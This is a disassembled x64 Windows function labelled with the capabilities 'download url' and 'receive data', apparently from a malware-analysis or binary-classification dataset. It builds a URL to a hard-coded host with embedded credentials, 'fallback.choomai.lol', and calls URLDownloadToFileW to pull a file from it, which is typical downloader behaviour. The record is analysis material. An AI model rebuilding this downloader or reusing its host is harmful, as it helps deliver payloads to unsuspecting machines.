Function at 0x1400095b0
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140049020]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rdx
mov qword [rbp - 0x21], rbx
xor r14d, r14d
mov dword [rbp - 0x39], r14d
mov qword [rbp - 0x19], r14
mov qword [rbp - 9], r14
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], r14b
lea r8d, [r14 + 0x2d]
lea rdx, str.https:__choomai:08132007_fallback.choomai.lol
lea rcx, [rbp - 0x19]
call fcn.14000b2a0
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140009623
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rbp - 0x19]
call fcn.14000b400
lea rcx, [rbp - 0x19]
mov r8, qword [rbp - 9]
cmp qword [rbp - 1], 0x10
jb 0x140009648
mov rdx, qword [rbp - 0x19]
add r8, rdx
jmp 0x14000964f
add r8, rcx
lea rdx, [rbp - 0x19]
mov rcx, rsi
call fcn.14000bfd0
mov dword [rbp - 0x39], 1
cmp qword [rbx + 0x18], 0x10
jb 0x140009671
mov r8, qword [rbx]
add r8, qword [rbx + 0x10]
mov rdx, qword [rbx]
jmp 0x14000967b
mov r8, qword [rbx + 0x10]
add r8, rbx
mov rdx, rbx
lea rcx, [rbp + 7]
call fcn.14000bfd0
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140009691
mov rdx, qword [rsi]
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 8
cmovae r8, qword [rbp + 7]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rbp + 0x1f]
test eax, eax
jne 0x1400097de
cmp rdx, 8
jb 0x1400096f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009926
call fcn.140010de0
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], 7
mov word [rbp + 7], r14w
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140009743
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000973e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000992c
call fcn.140010de0
mov qword [rbp - 9], r14
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000978d
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009788
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000991a
mov rcx, r8
call fcn.140010de0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400097d6
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400097d1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140009920
mov rcx, r8
call fcn.140010de0
mov rax, rsi
jmp 0x1400098f1
cmp rdx, 8
jb 0x14000981a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009815
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009926
call fcn.140010de0
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], 7
mov word [rbp + 7], r14w
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140009866
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009861
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000992c
call fcn.140010de0
mov qword [rbp - 9], r14
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1400098ac
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400098a7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000991a
mov rcx, r8
call fcn.140010de0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400098f1
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400098ec
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009920
mov rcx, r8
call fcn.140010de0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140010dc0
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140018cfc
nop
call fcn.140018cfc
nop
call fcn.140018cfc
nop
call fcn.140018cfc
int3